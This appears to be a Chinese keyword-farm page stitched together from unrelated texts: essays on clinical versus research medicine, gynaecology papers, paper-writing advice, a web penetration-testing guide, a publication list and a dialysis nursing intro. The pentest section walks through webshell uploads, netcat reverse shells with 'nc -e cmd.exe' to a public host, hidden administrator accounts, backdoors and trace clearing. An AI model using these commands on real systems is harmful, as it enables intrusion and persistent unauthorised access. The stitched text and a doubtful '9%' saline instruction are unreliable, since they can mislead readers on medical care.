液体渗透论文发表

首先，科研型和临床型有哪些共通点：科研型人才是通过科学的方法，运用专业的操作技术获得数据，并通过数学来阐释一种规律、相关性，通常步骤为“提出问题，（查阅文献，收集相关资料），建立假设与猜想，得出实验数据，数据分析，验证假设与猜想，（修改假设或理论），直到数据支持最终的假设或理论，得出结论；而临床型，我的理解是先观察现象，运用已学的知识，通过有机的结合得出一系列可能的假设，并通过诊断工具（例如X光，MRI,超声，听诊等）来对已有的假设进行验证、筛查，诊断结束，确诊并进入治疗阶段。可以说这两方面的人才都需要具备科学、严谨、客观、求实的基本素质。那么科研型和临床型具体有哪些不同或者各自比较独特的地方？1.科研型人才相对于临床型人才总体来说更擅长于实验操作，特别是需要运用到各种仪器的时候，并且科研型人才相对临床型人才做出来的实验精度总体更高，实验数据更接近真实结果。2.临床型研究相对于科研型研究更加针对于具体现状。例如如果你是传染病专家，你发现某个地方来的病人特别多并且症状相似，由此引起你的关注并进行调查，然后发现那里的人大多都喝井水，取样，检验（细菌，寄生虫等）得阳性....慢慢的一篇论文就诞生了。而实验型更倾向于科学的更深层次的研究，例如研究某某基因对癌症是否有影响，如何影响，倘若揭示了以前没有提到过的机制那你一下子就出名了（前提是经的起验证）。3.问题的来源不同：对于临床型，问题的来源自然来自于具体的病例；对于科研型那研究的来源就多了，可以是项目，可以是由某篇论文的延伸，还可以来自于备受社会关注的临床问题。4.实验型人才做实验是越做越细，因为要往深了发展，而临床型人才是需要保持一定深度的，像液体渗透一样的方式发展。举个例子，研究皮肤，实验型首先先了解皮肤的基本结构，了解完之后例如突然对毛发感兴趣，然而不同部位的毛发它也不太一样，于是就选择了鼻毛或头发作为研究对象，然后再研究基因对毛发的影响，于是就一对一对基因的敲除找到那些基因......；但是临床医生除非锁定了特定的人群否则一般不会这么做，例如有一个40岁的女性来医院就诊，经诊断为乳腺癌，问家族史得知该女性的其中一个姐姐，一个妹妹，一个外婆都因乳腺癌去世，然后该医生建议她和她剩下的兄弟姐妹等等做遗传学方面的检查，于是发现了原来乳腺癌也是可以“遗传”的。临床医生一般不会像一个锥子那样钻着学，理由是单精通一点对诊断没有特别大的帮助。好了，以上说的都是我对临床型人才和科研型人才的一些理解，当然我还“年轻”感觉说的很”low”。如有不正请指出。我对“临床医生以发表论文数量里评职称”的观点：1.临床医生的服务对象是人，倘若以发表论文数量作为能否评职称的依据，有可能导致医生以提升职称为目的做研究，导致盲目选择研究课题、研究质量参差不齐。这些都是小事儿，因为你做的研究质量差人家看都不会看，而且质量差或者是没新意的研究在一些著名的期刊上都是刊登不上的，而有经验、有

妇产科学是医学生的必读课程和主要课程，其教育目的是培养有较高综合素质的妇产科医师。下文是我为大家整理的关于妇产科医学论文的范文，欢迎大家阅读参考!

妇产科疾病的防治

【摘要】妇产科疾病是一种常见多发病，严重威胁着女性的身心健康。随着医疗技术的不管更新，医学水平的不断提高，各种先进的科学技术被引入到妇产科疾病的预防和治疗中。本文中，笔者将根据自己的工作经验，就几种常见的妇产科疾病的防治问题谈谈自己的看法。

【关键词】妇产科疾病;防治

前言：我国妇科疾病的发病率相当高，各种严重的妇科病不仅伤害女性本人，还影响家庭和谐，关系到两代人的素质健康，关系到中华民族人口的质量;另一方面，身体的难言之隐，让很多的女性朋友生活质量大大下降，造成严重的心理障碍，增加了家庭和社会的不稳定。我们不仅要为广大妇女创造一个有效的治疗环境，更重要的是要加强她们的健康保健意识，进行深入广泛的健康知识教育。定期进行妇科检查，对妇科疾病及时发现，及时治疗。

1产前抑郁的防治

据统计，妊娠期的妇女有20%左右都患有不同程度的产前抑郁症，由此可见，做好产前抑郁的防治工作的意义是十分重大的。因为患有产前抑郁的人群，不仅自身会产生严重的生理和心理不适，还会影响胎儿的健康成长。所以，为了使孕期妇女能够保持身心健康，作为医疗工作者，我们应该认真地研究分析导致女性在妊娠期出现抑郁情况的原因，并结合临床实践摸索其病情发展规律，在此基础上，有针对性地制定各种防治措施。同时，还要结合目前掌握的医疗心理学方面的知识，对可能发病的人群进行积极的心理疏导，纠正病人对于分娩以及各种分娩方式的不正确认识，避免妊娠期妇女在一些不正确的无医学依据的猜测和臆想中产生悲观消极情绪。另外，对于一些怀有惧怕和紧张心理的妊娠期妇女，要进行相关的医疗知识的普及，使其能够充分认识和了解到在现代医学水平下的妊娠和分娩的安全可靠性。同时，对于一些对胎儿性别存在顾虑的孕妇和家属，要从科学的角度上进行耐心的劝导，使其能够正确对待生男生女问题。值得注意的是，在采用各种方法对妊娠期妇女进行产前抑郁症的防治时，要充分地考虑其身心状况，有计划、有步骤地循序渐进地开展心理干预活动，切忌给患者施压。

2 手术腹部切口脂肪液化的防治

剖腹产手术术后最常见的问题就是切口脂肪易出现液化现象，脂肪液化后的最主要特征就是手术切口部位的敷料变黄，并且有液体渗出。手术切口的脂肪出现液化现象不仅会导致切口愈合缓慢，还会影响皮下组织的恢复。切口脂肪液化严重时，还会导致患者的切口部位皮肤下陷，并凝结出淡黄色脂滴。但是一般不会导致切口坏死，只会伴随肿痛和压痛的现象。在将切口渗出液取样进行检验后，发现其中的细菌呈现阴性。对于该类妇产科疾病的防治措施主要有：一旦发现患者存在对切口渗液现象，要首先检查手术切口是否存在感染，并采取相应的措施预防感染源的入侵。然后对液化的切口部位进行挤压，一般情况下频率为2次/d，在挤压的过程中要尽量地排尽已经液化的脂肪，并在操作后用碘伏纱布将伤口覆盖。对于切口液化较为严重的患者，可以适当的增加红外线理疗进行辅助治疗，频率同样为2 次/d。如果治疗后，切口仍然持续产生黄色渗液，就应该及时的拆除该切口处的缝线，并用浓度为9%的生理盐水对切口部位进行彻底冲洗，再加压包扎，同时辅以消炎类抗生素进行口服。如果患者的切口渗液量较大，则应每日对切口进行换药清洁。在采用了以上方法后，切口渗液仍没有得到良好控制的情况下，就应该采用引流的方法将渗液彻底排出。

3 妇产科难治性大出血的防治

所谓难治性妇产科大出血，就是指在患者术后出现大出血的情况下，采用常规的治疗和控制方法均无效的症状。一般情况下判断难治性大出血的标准是，患者在术后有>1500 mL 的出血量，或者阴部出血量>1000 mL。这种大量出血导致的后果是十分严重的，不仅会危及患者的健康，还会诱发各种凝血功能障碍，严重的会导致患者死亡。因此，我们要充分重视难治性大出血的预防和治疗，实践中我们总结了以下几种比较有效的治疗方法：首先，动脉结扎止血法。就是通过结扎降低患者的动脉内压，减缓体内血流速度，以达到使血流速度小于血栓形成速度的目的，从而实现血栓止血。其次，血管造影并行TAE 治疗法。就是在患者出现难治性大出血时，及时地采用血管造影方式，了解患者的出血部位以及出血原因和出血范围，再通过TAE 治疗法进行止血。TAE治疗法的具体操作原理就是在了解患者出血位置和范围的前提下，对出血带进行股动脉插管，从而改善术后形成的粘连现象，达到止血的效果。TAE 治疗法的最主要的应用优势就是无疼痛感，并且可以根据患者出血的情况进行多次治疗。

4 妇科恶性肿瘤的防治

妇科恶性肿瘤是一种非常严重的妇产科疾病，严重危害了女性的身体健康和正常生活。并且，近些年来的统计结果表明，该疾病的发病率存在上升趋势，因此，有关部门必须加强对妇科恶性肿瘤的防治力度。采用常规的手术和化疗方法虽然可以有效地控制病情的发展，但是也存在着很多治疗上的弊端，最明显的就是患者在经受了长期的化疗和放疗后，整体健康水平明显下降，生存质量严重降低。另外，常规治疗法还会损害患者的骨髓造血功能，危害肝功能。所以，常规治疗法虽然对于控制病情有着较好的效果，但不是妇科恶性肿瘤治疗的最佳方式。笔者通过长期的实践经验总结，认为采用中医联合疗法，可以在减轻患者痛苦的同时，达到较好的治疗效果。

5 结语

全国妇科疾病防治工程旨在推动我国妇女健康事业的发展，落实党中央、国务院对提高妇女健康水平的方针政策，降低妇科疾病发病率，让广大女性远离妇科疾病的困扰。通过健康讲座、有奖征文、免费普查、健康救助、学术交流、手术援助等一系列主题活动的开展，为广大女性提供专业的医疗保障服务，倡导妇科疾病科学、规范诊疗，力求在全国范围内普及妇女健康保健知识，从而为降低我国妇科疾病的发病率，促进家庭幸福，构建和谐社会贡献力量。

参考文献

[1] 黄湘源.心理干预对孕产妇女心理的影响[J].临床和实验医学杂志，2010，5(10)：767-768.

[2] 黄瑾，顾美皎，方玲，等.难治性产后出血干预性治疗方法的研究[J].中国实用妇科与产科杂志，2004，20(6)：343-345.

[3] 杨秀玉.血管性介入技术在妇产科领域的应用[J].中华妇产科杂志，2002(1)：6-7.

妇产科临床教学体会

[摘要] 妇产科学是医学生的必读课程和主要课程，其教育目的是培养有较高综合素质的妇产科医师，因此要学生掌握妇产科学基本理论知识、技能和高尚的医德医风，本文就如何提高妇产科临床教学效果谈几点体会：①注重教师队伍的培养和合理利用。②教学中要充分渗透课程中的德育、医学伦理及人文精神。③重视应用模型、挂图，实物加深学生对教学内容的理解和记忆。④充分利用现代教学手段，增大信息量和知识量。⑤避免医疗纠纷措施。⑥选择适当教学方法将循证医学理念引入到妇产科临床带教中。

[关键词] 妇产科;临床教学;体会

妇产科学是医学生必读课程和主干课程[1]，其教育目的是在培养学生掌握妇产科基本理论知识的基础上，培养学生主动获取知识、理论与实践相结合的能力。临床实习是培养合格医生的一个关键环节，是临床教学重要组成部分，其作用是让学生在教师指导下，初步接触患者，认识不同的常见病和多发病，通过理论联系实际，熟练掌握基本临床技能，了解医院各种规章制度，初步培养良好医德医风，为毕业后工作打下基础。妇产科学是实习的重要部分，因针对人群的特殊性为临床教学工作造成了一定的困难，所以，为提高临床教学质量，这要求我们积极探索和改进教学方法，加强对医学生创造性思维和能力的培养，培养出适应医疗服务需要的具备扎实临床技能的合格医学人才。笔者就如何提高妇产科临床教学效果谈几点体会：

1 注重教师队伍的培养和合理利用

带教教师必须具有一定的临床工作经验，并经过岗前规范化培训，掌握现代医学教学方法，同时具有良好的医德医风，临床带教示范合格。通过教师自身行为和正规示范，才能培养学生严谨的科学态度和良好的医德医风，带教教师中必须配备至少一名临床工作和教学经验丰富的高年资和高职称教师负责，即可以保证教学质量，又可以通过言传身教培养年轻师资力量。

2 教学中要充分渗透课程中的德育、医学伦理及人文精神

妇产科是一门特殊的临床学科，充满生命理念，医学伦理、医学道德、健康价值具有医学人文教育意义的焦点，在教学中要整合人文资源[2]。现代医学的不断发展和社会的不断进步，对医生的要求已经远不止简单的医术精湛，虽然，医术永远是对一名医师最基本的要求，但如今一名优秀的医生还应该同时具备心理学、社会学，甚至伦理学的知识。其实早在两百多年前就有英国人提出了“医学伦理学”这一概念，一名合格的医生应该是接受过正规的医学伦理教育的。在为患者实施任何手术和治疗之前，都应确定该方案对患者是否是最佳的，并与患者进行必要的沟通，而不仅仅是单纯解决病痛就够了。子宫对一名女性有非常重要的意义，一名生育年龄的女性如果没有了子宫，没有了月经，她会潜意识地认为自己不再是个完整的女人，并产生自卑心理，对今后的家庭、生活和工作都将造成无法估量的影响。因此，妇产科医生在只要条件允许的情况下，都应尽量保留患者的子宫，在确定无法保留子宫体的情况下，也应尽量保留患者的部分宫颈，这样不仅能明显提高患者术后的性生活质量，而且还能像正常女性那样有一点点月经，虽然经量会很少，但对患者的心理上将是莫大的安慰，充分体现了医学伦理及人文精神。

3 重视应用模型、挂图、实物，加深学生对教学内容的理解和记忆

妇产科的疾病，从解剖位置看有一定的隐蔽性，部分妇产科教学，内容复杂抽象，学生理解困难。教学方法中，采用模型演示、挂图展示具有意想不到的效果。逼真的仿真模型可以让每个学生动手练习妇科检查，产前检查中骨盆外测量和四步触诊手法。骨盆模型和新生儿模型配合演示分娩机制，能使学生清楚地观察到分娩过程的各个环节，使学生对教学内容有更深刻的理解和记忆，达到提高教学效果的目的。

4 充分利用现代教学手段，增大学生信息量和知识量

因为患者维权意识增强，造成目前学生见习及动手操作实习机会减少，且部分妇产科示教内容复杂抽象、枯燥难懂，使学生学习理解困难，所以我们应充分引用现代教学手段，使之生动易掌握，增大学生学习的信息量和知识量，如配合相关录像、动画，使学生能清楚了解正常分娩接生、胎头吸引助产、钳产、剖宫产及妇科手术等全过程。在短时间内通过动画、图文并茂，使学生大量直观了解临床症状，便于对疾病的全面认识，尽快理解记忆和掌握所展示的教学内容，强化实践观念，且提高了临床操作的规范性。这样不仅增大了学生的信息量和知识量，而且更促进了教师人群中专业知识的学习和积累，从而提高了临床教学效果。

5 避免医疗纠纷措施

现今“医患关系”可以算是社会上议论最多、老百姓最关心的话题之一，医患矛盾已成为困扰政府部门、各大医院的心病，我们在临床带教中要充分尊重患者的知情权和隐私权，示教前应与患者进行良好的医患沟通，使其理解关于临床教学对培养合格医生的重要意义，取得患者信任，积极配合教学。另一方面，我们在示教中要求学生着装整洁，态度严肃，在老师指导下，有条理地询问病史，操作轻柔，谨言慎行，不擅自回答患者关于病情的询问，不做示教以外的诊疗操作[3]，避免诱发医疗纠纷。

6 选择适当教学方法将循证医学理念引入到妇产科临床带教中

目前，由于对医学生的教学大多数仍采取传统的经验教学模式，只注重对学生的基本知识和基础技能的培训，以教师和教材为中心，在这种模式教育下，只重视知识的传授而不注重学生独立思维能力的培养，缺乏学习主动性、创造性，从而影响了教学的质量。

20世纪80年代以来，以经验和推论为基础的经验医学转变为以随机对照、系统化评价和荟萃分析提供的临床证据为基础的新的医学模式，即循证医学(evidence based medicine，EMB)，它的出现使临床医学和临床实践的概念发生了巨大改变，为现化医学教学提供了新的教学模式，对培养高素质医学人才产生了重大影响。因此，将循证医学引入临床医学中势在必行[4]。1992年，加拿大学者Sacker等正式提出“循证医学”(EMB)的概念，将EBM定义为：慎重、准确、明智地应用当前所能获得的最好研究证据，同时结合医师个人专业知识技能和临床经验，考虑患者的价值和愿望，将上述因素完美结合拟定患者的最佳治疗主案[5]。

在妇产科临床带教中，应培养学生应用循证医学理念，通过对患者的管理来实践循证医学，老师要引导学生形成“提出问题，寻找证据，系统评估”的临床逻辑思维能力，针对具体患者，鼓励学生应用所学的妇产科基础知识，提出临床问题，独立寻找解决问题的方法，学生可以到图书馆、应用网络等进行资料查询获得最佳证据，同时将自己所获得的证据写成总结报告。老师组织学生讨论，让其各自发表自己认为最佳的治疗方案，带教老师进行点评，在这个学习过程中，学生不仅可以学习到正确处理、解决问题的方法，而且也可使学生由过去的被动学习转变为学习的主动者、设计者，由传统的接受知识转变为自觉探索知识，培养学生终身学习的习惯和能力，从而更好地提高妇产科临床教学效果。

总之，应充分调动学生主观能动性，提高学生临床实践的积极性，采取启发式教学，倡导以问题为基础的教学法，广泛开展多媒体教学等多种教学方法，加强基本操作训练，培养学生实践能力、创新能力，这样才能为国家培养出临床创新型、高素质的妇产科医学人才[6]。

[参考文献]

[1]乐杰.妇产科学[M].6版.北京：人民卫生出版社,2005:1.

[2]路镇美.妇产科教学渗透人本教育初探[J].卫生职业教育,2003,21(8):142.

[3]詹钟平,黄郁文,陈汉如.读诊断学教学中医学生在临床思维的培养[J].中山医科大学学报:社科版,2001,(3):105.

[4]李峻,董碧容.循证医学对临床实践和医学教育的影响[J].中国循证医学杂志,2008,8(3):14.

[5]Sacker DL, Sharon E. Evidence-based medicine: how to practice and teach EBM [M]. 3rd ed. New York: Churchill Livingstone,1999:l.

[6]孙可丰,佟丽丽.提高妇产科临床教学实践与创新能力的几点思考[J].中国现代医生,2007,45(23):139-140.

论文有很多种，不同的学科差别还是比较大的。就以生命科学领域的为例吧。生命科学领域基本上都是都是实验科学，所以，所有的研究论文都是以各种实验数据为基础的。所以要在生命科学领域发表学术论文，你得加班做实验啊！（实验科学的各位同仁为加班彼此共勉吧）。一篇学术论文一般是针对某个科学问题而产生。因此，你得首先的提出一个科学问题，有了这个科学问题，你再去针对性设计一个研究方案，具体采用哪些试验方法去一步步验证解决这个科学问题。但你花费一定的时间和精力后，在经历各种挫折后，终于收集全了各种实验数据，这个时候你就可以开始写论文了。写论文是另一个折磨人的过程，首先的搜集相关领域的文献资料，而后综述前人的研究结果并指出这个领域中的一些不足，从而引出你研究的意义与必要性。这部分花费时间长，阅读量大，写作费心费脑。而后就是实验结果，这是文章的主题部分，但也相对好些，毕竟是自己的实验数据，所以把逻辑关系搞清楚后就可以写下去了。而后是另一个费脑的部分——讨论。这部分要总结自己结果的精华，也要指出自己研究的不完善的地方，并结合前人的工作比较分析对实验结果进一步充分说明，并指出以此为基础可能的研究方向和切入点。写完这个就基本完事了，实验方法都是熟悉的写上就行。参考文献按期刊的格式用endnote来处理就行。最后就是反复的修改与语言润色了。所以一篇学术论文，从开始写到最后定稿一般都是3-5个月啊。确定没问题，就是投稿了，这个每个期刊都有固定的投稿指南，一步步来就行。在线投完稿就是从开始焦急的等待到最后麻木的等待，而后补充实验回复审稿人的意见，这是长痛。短痛就是直接被拒稿，而后改格式换期刊投，再次循环。。。

web渗透测试论文发表

什么是渗透测试？渗透测试，是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术，对目标网络、主机、应用的安全作深入的探测，发现系统最脆弱的环节。如何进行Web渗透测试？完整web渗透测试框架当需要测试的web应用数以千计，就有必要建立一套完整的安全测试框架，流程的最高目标是要保证交付给客户的安全测试服务质量。1、立项：项目建立，时间安排，人力分配，目标制定，厂商接口人确定；系统分析&威胁分析：针对具体的web应用，分析系统架构、使用的组件、对外提供的接口等，以STRIDE为威胁模型进行对应的安全威胁分析，输出安全威胁分析表，重点关注top3威胁；制定测试用例：根据威胁分析的结果制定对应的测试用例，测试用例按照模板输出，具备可执行性；测试执行&漏洞挖掘：测试用例执行&发散测试，挖掘对应的安全问题or漏洞；问题修复&回归测试：指导客户应用开发方修复安全问题or漏洞，并进行回归测试，确保安全问题or漏洞得到修复，并且没有引入新的安全问题；项目总结评审：项目过程总结，输出文档评审，相关文档归档。

黑客技术里的渗透是指黑客通过非法途径入侵网站系统，拿到网站的WebShell进行非法操作。也指信息安全风险评估Web渗透经典流程：判断脚本系统，判断数据库类型——>寻找注入点——>猜解数据库表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登录，获得网站管理权限（webshell）黑客技术里的渗透:风险评估（Risk Assessment）存在于很多行业，但在IT业，独指信息安全风险评估，指依据有关信息技术标准，对信息系统及由其处理、传输和存储的信息的保密性、完整性和可用性（CIA）等安全属性进行科学、公正的综合评估的过程。它要评估信息系统的脆弱性、信息系统面临的威胁以及脆弱性被威胁源利用后所产生的实际负面影响，并根据安全事件发生的可能性和负面影响的程度来识别信息系统的安全风险。渗透测试（Penetration Testing）则是从一个攻击者的角度来检查和审核一个网络系统的安全性的过程。这本来是风险评估的一部分（存在于执行阶段），不应该与风险评估相提并论。但风险评估是一个过于庞大和复杂的体系，在如此短的篇幅里不能够完全详述，所以把渗透测试这一个富有争议性、纯技术的并且也是可以从风险评估中分离出来的内容单独分离了出来。

这个要根据个人的实际情况来决定的，比如你先要去了解什么是渗透测试：1、渗透测试属于信息安全行业，准确的说是网络计算机/IT行业2、现在你知道了它的行业属性，那么你是否具备一些这个行业的知识呢?3、具备的话学习起来比较简单，直接去学习渗透测试实战就行，不具备接着往下看4、现在知道它行业属性，你大概就能清楚需要些什么样的基础知识了；下面是我从非计算机网络相关专业的同学想要学习渗透测试必须掌握的知识。5、前期入门大概需要掌握或者说了解以下知识点：1)了解基本的网络知识，例如什么是IP地址（63.62.61.123）去掉点是扣扣学习群，IP地址的基本概念、IP段划分、什么是A段、B段、C段等2）广域网、局域网、相关概念和IP地址划分范围。3)端口的基本概念？端口的分类？4)域名的基本概念、什么是URL、了解TCP/IP协议、5)了解开放式通信系统互联参考模型（OSI）6)了解http（超文本传输协议）协议概念、工作原理7)了解WEB的静态页面和WEB动态页面，B/S和C/S结构8)了解常见的服务器、例如、Windows server2003、Linux、UNIX等9)了解常见的数据库、MySQL、Mssql、、Access、Oracle、db2等10)了解基本的网络架构、例如：Linux + Apache + MySQL + php11)了解基本的Html语言，就是打开网页后,在查看源码里面的Html语言12)了解一种基本的脚本语言、例如PHP或者asp，jsp，cgi等然后你想学习入门，需要学习以下最基础的知识：1、开始入门学习路线1)深入学习一种数据库语言，建议从MySQL数据库或者SQL Server数据库、简单易学且学会了。其他数据库都差不多会了。2)开始学习网络安全漏洞知识、SQL注入、XSS跨站脚本漏洞、CSRF、解析漏洞、上传漏洞、命令执行、弱口令、万能密码、文件包含漏洞、本地溢出、远程溢出漏洞等等)工具使用的学习、御剑、明小子、啊D、穿山甲（Pangolin）、Sqlmap、burpsuite抓包工具等等2、Google hacker 语法学习3、漏洞利用学习、SQL注入、XSS、上传、解析漏洞等4、漏洞挖掘学习5、想成为大牛的话、以上都是皮毛中的皮毛，但前提是以上的皮毛都是最基础的。6、Linux系统命令学习、kali Linux 里面的工具学习、Metesploit学习7、没事多逛逛安全论坛、看看技术大牛的文章、漏洞分析文章等

Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。信息收集信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；网站常见搭配为：ASP和ASPX：ACCESS、SQLServerPHP：MySQL、PostgreSQLJSP：Oracle、MySQL敏感目录信息（御剑，dirbust）开放端口信息（nmp）漏洞扫描利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。常见漏洞：SQL注入XSS跨站脚本CSRF跨站请求伪造XXE(XML外部实体注入)漏洞SSRF(服务端请求伪造)漏洞文件包含漏洞文件上传漏洞文件解析漏洞远程代码执行漏洞CORS跨域资源共享漏洞越权访问漏洞目录遍历漏洞和任意文件读取/下载漏洞漏洞利用用工具也好什么也好对相应漏洞进行利用如：Sql注入（sqlmap）XSS（BEEF）后台密码爆破（burp）端口爆破（hydra）提权获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权内网渗透首先进行端口转发可用ncnc使用方法：反向连接在公网主机上进行监听：nc-lvp 4444在内网主机上执行：nc-e cmd.exe 公网主机ip4444成功之后即可得到一个内网主机shell正向连接远程主机上执行：nc-l -p 4444 -t -e cmd.exe本地主机上执行：nc-vv 远程主机ip4444成功后，本地主机即可远程主机的一个shell然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门留后门对于网站上传一句话木马，留下后门对于windows用户可用hideadmin创建一个超级隐藏账户手工：netuser test$ 123456 /addnetlocalgroup administrators test$ /add这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。

渗滤液处理论文投稿期刊

1. Shaohua He, Zhipan Gu,Yang Zhou, Shuibo Xie, JingLiu. Study on Adsorption of Two ReactiveDyes by Natural Diatomite. 2009环境科学与技术国际会议.2009年6月(ISTP收录)2. Shaohua He，Yang Zhou，Zhipan Gu，Shuibo Xie，Xin DuThe Adsorption of Two Cationic Dyes from Aqueous Solution onto NaturalAttapulgite。ICBBE2009国际会议.2009年5月(EI收录)3.何少华，金同轨.上向流翼板槽处理高浊度水的沉淀试验研究，给水排水，1995年3月研4.何少华，秦戌生，严煦世.聚苯乙烯滤料过滤研究,给水排水,2003年10月5.何少华，谢水波，严煦世，秦戌生，高伟.载粉末活性炭过滤处理微污染原水的试验研究,给水排水6.何少华，谢水波.几种水处理工艺对小隐孢子虫卵囊的去除效果,中国给排水,2004年3月共7.何少华，高伟，凤迎春，李红霞.热水供应系统中嗜肺军团菌的控制, 中国给排水,8.何少华，谢水波，刘金香.物化法去除MTBE的特性与影响因素, 中国给排水,2004年8月 7.黄仕元，何少华，谢水波.高校学生公寓给水排水工程设计探讨,给水排水,2003年4月9.黄仕元，何少华，娄金生，谢水波，熊正为.校园广场给排水工程设计,中国给水排水, 2003年6月10.何少华，谢水波，陈朝猛，高伟.新型消毒工艺灭活水中小隐孢子虫卵囊,安全与环境学报,2005年4月院11.何少华，谢水波，娄金生，黄仕元.防止活性炭污染反渗透膜方法的研究,工业水处理,2003年8月12.何少华.泥炭吸附法去除废水中的重金属,工业水处理,2004年9月 12.何少华，黄仕元，金必慧.沸石在水和废水处理中的应用,矿业工程, 2004年2月共济13.高伟，何少华，凤迎春，李红霞.膨润土在重金属废水处理中的应用，矿业工程，2005年6月14.何少华.水投加三氯化铁和硫酸铝的过滤特点探讨,净水技术,2003年12月15.何少华.凝聚剂对过滤过程中悬浮颗粒剥离的影响,净水技术,2004年8月16.何少华，谢水波，黄仕元.隐孢子虫卵囊的检测与去除,净水技术,2003年4月17.高伟，何少华，李红霞，凤迎春.真菌吸附法处理重金属废水，净水技术，2005年10月18.何少华，熊正为，文竹青，谢水波，水处理技术发展的辩证分析,南华大学学报(社科版), 2002年9月19.何少华，熊正为，黄仕元，荣煜，娄涛.衡阳市环境质量现状与对策研究, 南华大学学报(理工版),2002年9月20.何少华，熊正为.过滤理论发展过程中存在的一些问题探讨, 南华大学学报(理工版), 2002年12月21.何少华，娄金生，熊正为，谢水波.反渗透系统在饮用水深度处理中的应用, 南华大学学报(理工版), 2003年3月22.何少华，秦戌生，严煦世.上向流聚苯乙烯滤料直接过滤原水：Ⅰ.凝聚剂种类的选择,中南工学院学报,1996年12月23.何少华，秦戌生，严煦世.上向流聚苯乙烯滤料直接过滤原水：Ⅱ.凝聚剂投加量的影响,中南工学院学报,1997年6月24.何少华，秦戌生，严煦世.上向流聚苯乙烯滤料直接过滤原水：Ⅲ.滤层组成的影响,中南工学院学报,1997年12月25.陈胜兵，何少华，娄金生，谢水波.Fenton试剂的氧化作用机理及其应用,环境科学与技术,2004年4月26.黄仕元，何少华，张宇.离心泵总效率的影响因素分析,节能,2003年3月27.蒋明，何少华，娄金生，金必慧.氧化法处理垃圾渗滤液的研究进展, 环境卫生工程,2004年9月28.唐仲民，何少华.自来水厂滤池反冲洗水的回收,中南工学院学报,1997年12月.29.熊正为，何少华，陈胜兵.甲醛废水的厌氧酸化——序批式活性污泥法处理,南华大学学报,2001年3月30.熊岚，秦戌生，何少华.纤维球滤料直接过滤原水的试验研究,中南工学院学报,2000年3月31.刘金香，赵忠强，何少华，陈春宁.生化法处理MTBE污染水源水研究进展,南华大学学报,2004年9月32.秦戌生，何少华.试论Harberer水处理工艺的特点及其适用范围，衡阳工学院学报，1994年12月33.何少华，秦戌生. 上向流轻质滤料取佳反冲洗强度的确定，衡阳工学院学报，1994年12月34.何少华，秦戌生. 凝聚剂去除水中的三卤甲烷潜值，中南工学院学报，1995年6月35.何少华，秦戌生.应用于直接过滤中的凝聚剂，衡阳工学院学报，1995年12月36.何少华，段晋明. 应用于活动式净水设备的翼板槽，衡阳工学院学报，1991年12月[37] 刘金香,赵忠强,何少华,陈春宁.生化法处理MTBE污染水源水, 南华大学学报(自然科学版),2004年第3期[38]何少华.凝聚剂对过滤过程中悬浮颗粒剥离的影响,净水技术,2004年第4期[39] 何少华黄仕元金必慧. 沸石在水和废水处理中的应用,矿业工程,2004年2月[40] 蒋明何少华娄金生金必慧氧化法处理垃圾渗滤液研究进展,环境卫生工程,2004年第3期[41] 何少华, 秦戌生,严煦世.聚苯乙烯滤料过滤研究,给水排水, 2003年第10期[42] 黄仕元，何少华，娄金生，谢水波，熊正为.校园广场给排水工程设计,中国给水排水,2003年第6期[43] 黄仕元，何少华，谢水波. 高校学生公寓给水排水工程设计探讨,给水排水,2003年第4期[44] 何少华,谢水波，娄金生，黄仕元.防止活性炭污染反渗透膜方法的研究,工业水处理,2003年第8期[45] 何少华,娄金生,熊正为,谢水波.反渗透系统在饮用水深度处理中的应用研究,南华大学学报（理工版）,2003年第1期[46] 何少华,谢水波,黄仕元. 隐孢子虫卵囊的检测与去除,净水技术,2003年第2期[47] 何少华. 水投加三氯化铁和硫酸铝的过滤特点探讨,净水技术,2003年第6期[48]黄仕元，何少华，张宇. 离心泵总效率的影响因素分析,节能,2003年第3期[49] 何少华，熊正为，黄仕元，荣煜，娄涛. 衡阳市环境质量现状与对策研究,南华大学学报（理工版）,2002年第3期[50] 何少华,熊正为. 过滤理论发展过程中存在的一些问题探讨, 南华大学学报（理工版）,2002年第4期[51] 何少华,熊正为,文竹青，谢水波.水处理技术发展的辩证分析,南华大学学报（社科版）,2002年第3期

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血液透析护理论文发表

总结就是把一个时间段取得的成绩、存在的问题及得到的经验和教训进行一次全面系统的总结的书面材料，写总结有利于我们学习和工作能力的提高，因此我们要做好归纳，写好总结。总结一般是怎么写的呢？下面是我精心整理的血透室护士的个人总结范文，欢迎大家分享。

